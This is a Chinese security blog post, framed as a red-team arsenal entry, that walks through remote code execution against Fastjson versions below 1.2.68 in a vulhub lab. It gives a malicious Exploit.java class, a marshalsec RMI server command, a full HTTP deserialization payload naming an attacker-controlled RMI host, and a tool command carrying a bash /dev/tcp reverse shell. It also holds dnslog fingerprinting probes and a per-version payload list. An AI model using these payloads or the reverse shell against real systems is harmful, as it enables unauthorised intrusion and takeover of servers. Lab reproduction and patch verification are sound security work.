<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>红队武器库:fastjson小于1.2.68全漏洞RCE利用exp复现 | Zeo's Security Lab</title><meta name="author" content="Zeo"><meta name="copyright" content="Zeo"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="ffffff"><meta name="description" content="0x01漏洞介绍Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。 0x02影响范围Fastjson &lt; 1.2.68 Fastjson爆出的绕过方法可以通杀1.2.68版本">
<meta property="og:type" content="article">
<meta property="og:title" content="红队武器库:fastjson小于1.2.68全漏洞RCE利用exp复现">
<meta property="og:url" content="https://godzeo.github.io/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp%E5%A4%8D%E7%8E%B0/index.html">
<meta property="og:site_name" content="Zeo&#39;s Security Lab">
<meta property="og:description" content="0x01漏洞介绍Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。 0x02影响范围Fastjson &lt; 1.2.68 Fastjson爆出的绕过方法可以通杀1.2.68版本">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp">
<meta property="article:published_time" content="2020-07-04T03:56:02.000Z">
<meta property="article:modified_time" content="2022-11-28T12:25:22.942Z">
<meta property="article:author" content="Zeo">
<meta property="article:tag" content="WEB安全">
<meta property="article:tag" content="代码审计">
<meta property="article:tag" content="内网">
<meta property="article:tag" content="渗透">
<meta property="article:tag" content="二进制">
<meta property="article:tag" content="CTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp"><link rel="shortcut icon" href="/img/WX20211124-162855.png"><link rel="canonical" href="https://godzeo.github.io/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp%E5%A4%8D%E7%8E%B0/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: '红队武器库:fastjson小于1.2.68全漏洞RCE利用exp复现',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-11-28 20:25:22'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', 'ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.3.0"><link rel="alternate" href="/atom.xml" title="Zeo's Security Lab" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Zeo's Security Lab</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">红队武器库:fastjson小于1.2.68全漏洞RCE利用exp复现</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2020-07-04T03:56:02.000Z" title="发表于 2020-07-04 11:56:02">2020-07-04</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-11-28T12:25:22.942Z" title="更新于 2022-11-28 20:25:22">2022-11-28</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/WEB-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/">WEB 漏洞复现和分析</a></span></div><div class="meta-secondline"></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><span id="more"></span>

<h1 id="0x01漏洞介绍"><a href="#0x01漏洞介绍" class="headerlink" title="0x01漏洞介绍"></a>0x01漏洞介绍</h1><p>Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。</p>
<h1 id="0x02影响范围"><a href="#0x02影响范围" class="headerlink" title="0x02影响范围"></a>0x02影响范围</h1><p>Fastjson &lt; 1.2.68</p>
<p>Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有</p>
<h1 id="0x03漏洞复现"><a href="#0x03漏洞复现" class="headerlink" title="0x03漏洞复现"></a>0x03漏洞复现</h1><p>下面以Fastjson 1.2.47 为例子，因为vulhub有现成的环境十分方便</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">P牛我用vulhub中的 1.2.47的docker   想测试doslog检查 fastjson 但是总是收到不到dnslog  但是正常的exp反弹shell就是可以我很疑惑    </span><br><span class="line">我的用法正确吗，用的这个&#123;&quot;@type&quot;:&quot;java.net.Inet4Address&quot;,&quot;val&quot;:&quot;bouaiq.dnslog.cn&quot;&#125;</span><br></pre></td></tr></table></figure>

<h2 id="下面是流程示意图"><a href="#下面是流程示意图" class="headerlink" title="下面是流程示意图"></a>下面是流程示意图</h2><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDQxMTE3NDUucG5n?x-oss-process=image/format,png" alt="image-20200704111745527"></p>
<p>主机A：存在fastjson反序列化漏洞的主机<br>主机C：为RMI&#x2F;LDAP服务<br>主机B：为构造的恶意类（包含要执行的命令）</p>
<h3 id="在整个远程命令执行流程"><a href="#在整个远程命令执行流程" class="headerlink" title="在整个远程命令执行流程"></a>在整个远程命令执行流程</h3><p>1、黑客使用payload攻击主机A（该payload需要指定rmi&#x2F;ldap地址）</p>
<p>2、主机A引发反序列化漏洞，发送了进行rmi远程发放调用，去连接主机C</p>
<p>3、主机C的rmi服务指定加载主机B的恶意java类，所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类</p>
<p>4、主机A引发恶意系统命令执行</p>
<h1 id="0x04复现流程"><a href="#0x04复现流程" class="headerlink" title="0x04复现流程"></a>0x04复现流程</h1><p>根据上图流程和环境复现：</p>
<p>主机A： <a target="_blank" rel="noopener" href="http://1.1.1.1:8090/">http://1.1.1.1:8090</a> (存在Fastjson漏洞主机)<br>主机B： <a target="_blank" rel="noopener" href="http://2.2.2.2:8888/">http://2.2.2.2:8888</a> (恶意java类服务)<br>主机C： rmi:&#x2F;&#x2F;2.2.2.2:9999 (远程方法调用服务)</p>
<p>实际上主机B和C是一台机器不同端口）</p>
<h2 id="0x041-构造恶意方法"><a href="#0x041-构造恶意方法" class="headerlink" title="0x041 构造恶意方法"></a>0x041 构造恶意方法</h2><p>目标环境是<code>openjdk:8u102</code>，这个版本没有<code>com.sun.jndi.rmi.object.trustURLCodebase</code>的限制，我们可以简单利用RMI进行命令执行。</p>
<p>首先编译并上传命令执行代码</p>
<p>使用如下payload：</p>
<p>其中touch &#x2F;zydx666为系统命令，可以根据自己需求随意修改</p>
<p>注意该文件名叫Exploit.java固定格式不能变</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">import java.io.BufferedReader;</span><br><span class="line">import java.io.InputStream;</span><br><span class="line">import java.io.InputStreamReader;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_ invoke__">Exploit</span>() throws <span class="built_in">Exception</span> &#123;</span><br><span class="line">        Process p = Runtime.<span class="title function_ invoke__">getRuntime</span>().<span class="title function_ invoke__">exec</span>(<span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;bash&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;touch /zydx666&quot;</span>&#125;);</span><br><span class="line">        InputStream is = p.<span class="title function_ invoke__">getInputStream</span>();</span><br><span class="line">        BufferedReader reader = <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(is));</span><br><span class="line"></span><br><span class="line">        String line;</span><br><span class="line">        <span class="keyword">while</span>((line = reader.<span class="title function_ invoke__">readLine</span>()) != <span class="literal">null</span>) &#123;</span><br><span class="line">            System.out.<span class="title function_ invoke__">println</span>(line);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        p.<span class="title function_ invoke__">waitFor</span>();</span><br><span class="line">        is.<span class="title function_ invoke__">close</span>();</span><br><span class="line">        reader.<span class="title function_ invoke__">close</span>();</span><br><span class="line">        p.<span class="title function_ invoke__">destroy</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">static</span> <span class="keyword">void</span> <span class="title function_ invoke__">main</span>(String[] args) throws <span class="built_in">Exception</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在主机B中使用javac命令编译Exploit.java文件，生成一个Exploit.class文件</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javac Exploit.java</span><br></pre></td></tr></table></figure>

<p>然后在主机B启一个http服务，中间件随意，但是需要能访问到Exploit.class文件，这里使用python3临时启动一个</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m http.server --bind <span class="number">0.0</span>.<span class="number">0.0</span> <span class="number">8888</span></span><br></pre></td></tr></table></figure>

<h2 id="0x042-开启远程方法调用rmi服务"><a href="#0x042-开启远程方法调用rmi服务" class="headerlink" title="0x042 开启远程方法调用rmi服务"></a>0x042 开启远程方法调用rmi服务</h2><p>接下来在<strong>主机C</strong>开启rmi服务</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer &quot;http://1.1.1.1:8888/#Exploit&quot; 9999</span><br></pre></td></tr></table></figure>

<p>marshalsec-0.0.3-SNAPSHOT-all.jar</p>
<p>参考 <a target="_blank" rel="noopener" href="https://github.com/mbechler/marshalsec">https://github.com/mbechler/marshalsec</a></p>
<p>至此服务已经全部就绪</p>
<h2 id="0x043-发送payload"><a href="#0x043-发送payload" class="headerlink" title="0x043 发送payload"></a>0x043 发送payload</h2><p>接下来向<strong>主机A</strong>（存在漏洞机子）发送fastjson反序列化漏洞payload</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">1.1</span>.<span class="number">1.1</span>:<span class="number">8090</span></span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept: *<span class="comment">/*</span></span><br><span class="line"><span class="comment">Accept-Language: en</span></span><br><span class="line"><span class="comment">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span></span><br><span class="line"><span class="comment">Connection: close</span></span><br><span class="line"><span class="comment">Content-Type: application/json</span></span><br><span class="line"><span class="comment">Content-Length: 260</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">&#123;</span></span><br><span class="line"><span class="comment">    &quot;a&quot;:&#123;</span></span><br><span class="line"><span class="comment">        &quot;<span class="doctag">@type</span>&quot;:&quot;java.lang.Class&quot;,</span></span><br><span class="line"><span class="comment">        &quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span></span><br><span class="line"><span class="comment">    &#125;,</span></span><br><span class="line"><span class="comment">    &quot;b&quot;:&#123;</span></span><br><span class="line"><span class="comment">        &quot;<span class="doctag">@type</span>&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,</span></span><br><span class="line"><span class="comment">        &quot;dataSourceName&quot;:&quot;rmi://2.2.2.2:9999/Exploit&quot;,</span></span><br><span class="line"><span class="comment">        &quot;autoCommit&quot;:true</span></span><br><span class="line"><span class="comment">    &#125;</span></span><br><span class="line"><span class="comment">&#125;</span></span><br></pre></td></tr></table></figure>

<p>此时主机A收到POST请求，触发反序列化漏洞，最终执行Exploit.class 文件中的内容</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDMyMzQ3NDgucG5n?x-oss-process=image/format,png" alt="image-20200703234748062"></p>
<p>我使用的是反弹shell命令</p>
<p>反弹shell成功：</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDMyMzQxMTUucG5n?x-oss-process=image/format,png" alt="image-20200703234115010"></p>
<h1 id="0x05简化版攻击工具"><a href="#0x05简化版攻击工具" class="headerlink" title="0x05简化版攻击工具"></a>0x05简化版攻击工具</h1><p>下面提供一个简化版工具的工具</p>
<p>是使用<a target="_blank" rel="noopener" href="https://github.com/wyzxxz/fastjson/_rce/_tool%E8%BF%99%E4%BD%8D%E5%B8%88%E5%82%85%E5%86%99%E7%9A%84%EF%BC%8C%E4%B8%80%E9%94%AE%E8%B5%B7%E6%9C%8D%E5%8A%A1%E5%92%8C%E7%94%9F%E6%88%90%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E6%95%B4%E4%B8%AArmi+class%E6%96%87%E4%BB%B6%E7%9A%84jar%E5%8C%85">https://github.com/wyzxxz/fastjson\_rce\_tool这位师傅写的，一键起服务和生成恶意代码整个rmi+class文件的jar包</a></p>
<p>第一步：只需要在自己的服务器上启动</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 &quot;bash=bash -i &gt;&amp;/dev/tcp/x.x.x.x/80 0&gt;&amp;1&quot; </span><br></pre></td></tr></table></figure>

<p>第二步：发送payload</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDMyMzQ3NTQucG5n?x-oss-process=image/format,png"></p>
<p>成功反弹shell</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDMyMzQ5MTQucG5n?x-oss-process=image/format,png" alt="image-20200703234914580"></p>
<h1 id="0x06-漏洞检测"><a href="#0x06-漏洞检测" class="headerlink" title="0x06 漏洞检测"></a>0x06 漏洞检测</h1><h2 id="未知目标是否使用-Fastjson-，但站点有原始报错回显"><a href="#未知目标是否使用-Fastjson-，但站点有原始报错回显" class="headerlink" title="未知目标是否使用 Fastjson ，但站点有原始报错回显"></a><strong>未知目标是否使用 Fastjson ，但站点有原始报错回显</strong></h2><p>如果站点有原始报错回显，可以用不闭合花括号的方式进行报错回显，报错中往往会有fastjson的字样</p>
<p>例如</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDQxNjI2MTcucG5n?x-oss-process=image/format,png" alt="image-20200704162617071"></p>
<h2 id="无回显，通过DNS回显的方式盲区分-Fastjson-和-Jackson"><a href="#无回显，通过DNS回显的方式盲区分-Fastjson-和-Jackson" class="headerlink" title="无回显，通过DNS回显的方式盲区分 Fastjson 和 Jackson"></a><strong>无回显，通过DNS回显的方式盲区分 Fastjson 和 Jackson</strong></h2><p>我使用以下payload测试</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;zeo&quot;:&#123;&quot;@type&quot;:&quot;java.net.Inet4Address&quot;,&quot;val&quot;:&quot;745shj.dnslog.cn&quot;&#125;&#125;</span><br></pre></td></tr></table></figure>

<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDQxNjI4NDQucG5n?x-oss-process=image/format,png" alt="image-20200704162844047"></p>
<p>最终收到dnslog</p>
<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDQxNjI5MjIucG5n?x-oss-process=image/format,png" alt="image-20200704162922529"></p>
<h2 id="最新版本1-2-67依然可以通过dnslog判断后端是否使用fastjson"><a href="#最新版本1-2-67依然可以通过dnslog判断后端是否使用fastjson" class="headerlink" title="最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson"></a>最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;java.net.Inet4Address&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;</span><br><span class="line">&#123;&quot;@type&quot;:&quot;java.net.Inet6Address&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;</span><br></pre></td></tr></table></figure>

<p>畸形的</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;java.net.InetSocketAddress&quot;&#123;&quot;address&quot;:,&quot;val&quot;:&quot;dnslog&quot;&#125;&#125;</span><br></pre></td></tr></table></figure>

<p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZ29kemVvL2Jsb2dpbWcvcmF3L21hc3Rlci9pbWcvMjAyMDA3MDQxNjMxNTAucG5n?x-oss-process=image/format,png"></p>
<p>POC:</p>
<p>要嵌套在里面zeo里面</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;zeo&quot;:&#123;&quot;@type&quot;:&quot;java.net.Inet4Address&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;java.net.Inet4Address&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;</span><br><span class="line">&#123;&quot;@type&quot;:&quot;java.net.Inet6Address&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;</span><br><span class="line">&#123;&quot;@type&quot;:&quot;java.net.InetSocketAddress&quot;&#123;&quot;address&quot;:,&quot;val&quot;:&quot;dnslog&quot;&#125;&#125;</span><br><span class="line">&#123;&quot;@type&quot;:&quot;com.alibaba.fastjson.JSONObject&quot;, &#123;&quot;@type&quot;: &quot;java.net.URL&quot;, &quot;val&quot;:&quot;dnslog&quot;&#125;&#125;&quot;&quot;&#125;</span><br><span class="line">&#123;&#123;&quot;@type&quot;:&quot;java.net.URL&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;:&quot;aaa&quot;&#125;</span><br><span class="line">Set[&#123;&quot;@type&quot;:&quot;java.net.URL&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;]</span><br><span class="line">Set[&#123;&quot;@type&quot;:&quot;java.net.URL&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;</span><br><span class="line">&#123;&#123;&quot;@type&quot;:&quot;java.net.URL&quot;,&quot;val&quot;:&quot;dnslog&quot;&#125;:0</span><br></pre></td></tr></table></figure>

<h1 id="0x07-多版本payload集合"><a href="#0x07-多版本payload集合" class="headerlink" title="0x07 多版本payload集合"></a>0x07 多版本payload集合</h1><p>影响版本：</p>
<h3 id="fastjson-lt-x3D-1-2-24"><a href="#fastjson-lt-x3D-1-2-24" class="headerlink" title="fastjson&lt;&#x3D;1.2.24"></a>fastjson&lt;&#x3D;1.2.24</h3><p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;rmi://x.x.x.x:1099/jndi&quot;, &quot;autoCommit&quot;:true&#125;</span><br></pre></td></tr></table></figure>

<p>影响版本：</p>
<h3 id="fastjson-lt-x3D-1-2-41"><a href="#fastjson-lt-x3D-1-2-41" class="headerlink" title="fastjson&lt;&#x3D;1.2.41"></a>fastjson&lt;&#x3D;1.2.41</h3><p>前提：<br>autoTypeSupport属性为true才能使用。（fastjson&gt;&#x3D;1.2.25默认为false）</p>
<p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;Lcom.sun.rowset.JdbcRowSetImpl;&quot;,&quot;dataSourceName&quot;:&quot;rmi://x.x.x.x:1098/jndi&quot;, &quot;autoCommit&quot;:true&#125;</span><br></pre></td></tr></table></figure>

<p>影响版本：</p>
<h3 id="fastjson-lt-x3D-1-2-42"><a href="#fastjson-lt-x3D-1-2-42" class="headerlink" title="fastjson&lt;&#x3D;1.2.42"></a>fastjson&lt;&#x3D;1.2.42</h3><p>前提：<br>autoTypeSupport属性为true才能使用。（fastjson&gt;&#x3D;1.2.25默认为false）</p>
<p>exp：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;@type&quot;:&quot;LLcom.sun.rowset.JdbcRowSetImpl;;&quot;,&quot;dataSourceName&quot;:&quot;ldap://localhost:1399/Exploit&quot;, &quot;autoCommit&quot;:true&#125;</span><br></pre></td></tr></table></figure>

<p>影响版本：</p>
